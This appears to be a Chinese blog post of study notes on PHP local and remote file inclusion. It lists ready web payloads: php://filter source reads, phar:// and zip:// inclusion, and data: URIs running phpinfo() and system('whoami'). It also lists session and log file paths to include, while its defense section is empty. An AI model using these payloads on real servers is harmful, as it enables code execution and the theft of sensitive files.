php文件包含漏洞学习
合上吧,没有新姿势。
导致文件包含漏洞的函数
- include()
- include_once()
- require()
- require_once()
include()
找不到被包含的文件时只会产生警告(E_WARNING)
,脚本将继续执行。include_once()
和include()
语句类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。
require()
找不到被包含的文件时会产生致命错误(E_COMPILE_ERROR)
,并停止脚本。require_once()
和require()
语句类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。
本地文件包含
能够打开并包含本地文件的漏洞,被称为本地文件包含漏洞(Local File Inclusion,简称LFI)。
远程文件包含
如果PHP的配置选项allow_url_include
为ON
的话,则include/require
函数是可以加载远程文件的,这种漏洞呗称为远程文件包含漏洞(Remote File Inclusion,简称RFI)。
在php.ini
中,只有下面两个配置同时为On
才能远程包含文件成功
1 | allow_url_fopen = On (默认开启) |
要想成功利用文件包含漏洞,需要满足下面两个条件:
- 文件包含的函数通过动态变量的方式引入需要包含的文件
- 用户能控制该动态变量
其他文件操作函数
除了include()
等4个函数外,PHP中能够对文件进行操作的函数都有可能出现漏洞。虽然大多数情况下不能执行PHP代码,但能够读取敏感文件带来的后果也是比较严重的。
fopen()
readfile()
file_get_contents()
file()
fread()
……..
本地文件包含利用
1. 包含用户上传的文件
2. php伪协议
php://input
利用条件:
- allow_url_include = On。
- 对allow_url_fopen不做要求。
姿势:
1 | index.php |
php://filter
利用条件:无甚
姿势:
1 | index.php?file=php://filter/read=convert.base64-encode/resource=index.php |
此协议可以文件的读写,更多姿势可用过滤器列表
phar://
利用条件:
- php版本大于等于php5.3.0
姿势:
假设有个文件phpinfo.txt,其内容为<?php phpinfo(); ?>
,打包成zip压缩包
指定绝对路径
1 | index.php?file=phar://D:/phpStudy/WWW/fileinclude/test.zip/phpinfo.txt |
或者使用相对路径(这里test.zip就在当前目录下)
1 | index.php?file=phar://test.zip/phpinfo.txt |
zip://
利用条件:
- php版本大于等于php5.3.0
姿势:
构造zip包的方法同phar。
但使用zip协议,需要指定绝对路径,同时将#
编码为%23
,之后填上压缩包内的文件。
1 | index.php?file=zip://D:\phpStudy\WWW\fileinclude\test.zip%23phpinfo.txt |
若是使用相对路径,则会包含失败。
data:URI schema
利用条件:
- php版本大于等于php5.2
- allow_url_fopen = On
- allow_url_include = On
姿势一:
1 | index.php?file=data:text/plain,<?php phpinfo();?> |
执行命令:
1 | index.php?file=data:text/plain,<?php system('whoami');?> |
姿势二:
1 | index.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+ |
3. 包含Session文件
利用条件:session文件路径已知,且其中内容部分可控。
常见的php-session存放位置:
- /var/lib/php/sess_PHPSESSID
- /var/lib/php/sess_PHPSESSID
- /tmp/sess_PHPSESSID
- /tmp/sessions/sess_PHPSESSID
4. 包含日志文件
Web Server的日志
利用条件: 需要知道服务器日志的存储路径,且日志文件可读。
很多时候,web服务器会将请求写入到日志文件中,比如说apache。在用户发起请求时,会将请求写入access.log
,当发生错误时将错误写入error.log
。
默认情况下,apache
日志保存路径在/var/log/apache2/
nginx
日志保存在/var/log/nginx
SSH log
利用条件:需要知道ssh-log的位置,且可读。默认情况下为 /var/log/auth.log
5. 包含/proc/self/environ文件
6. 包含上传的临时文件(RFC1867)
7. 包含其他应用创建的文件,比如数据库文件、缓存文件、应用日志等,需要具体情况具体分析
防御方法
Reference
- 《白帽子讲Web安全》
- Chybeta:php文件包含漏洞
- phplaber:远程文件包含
- 《Web安全深度剖析》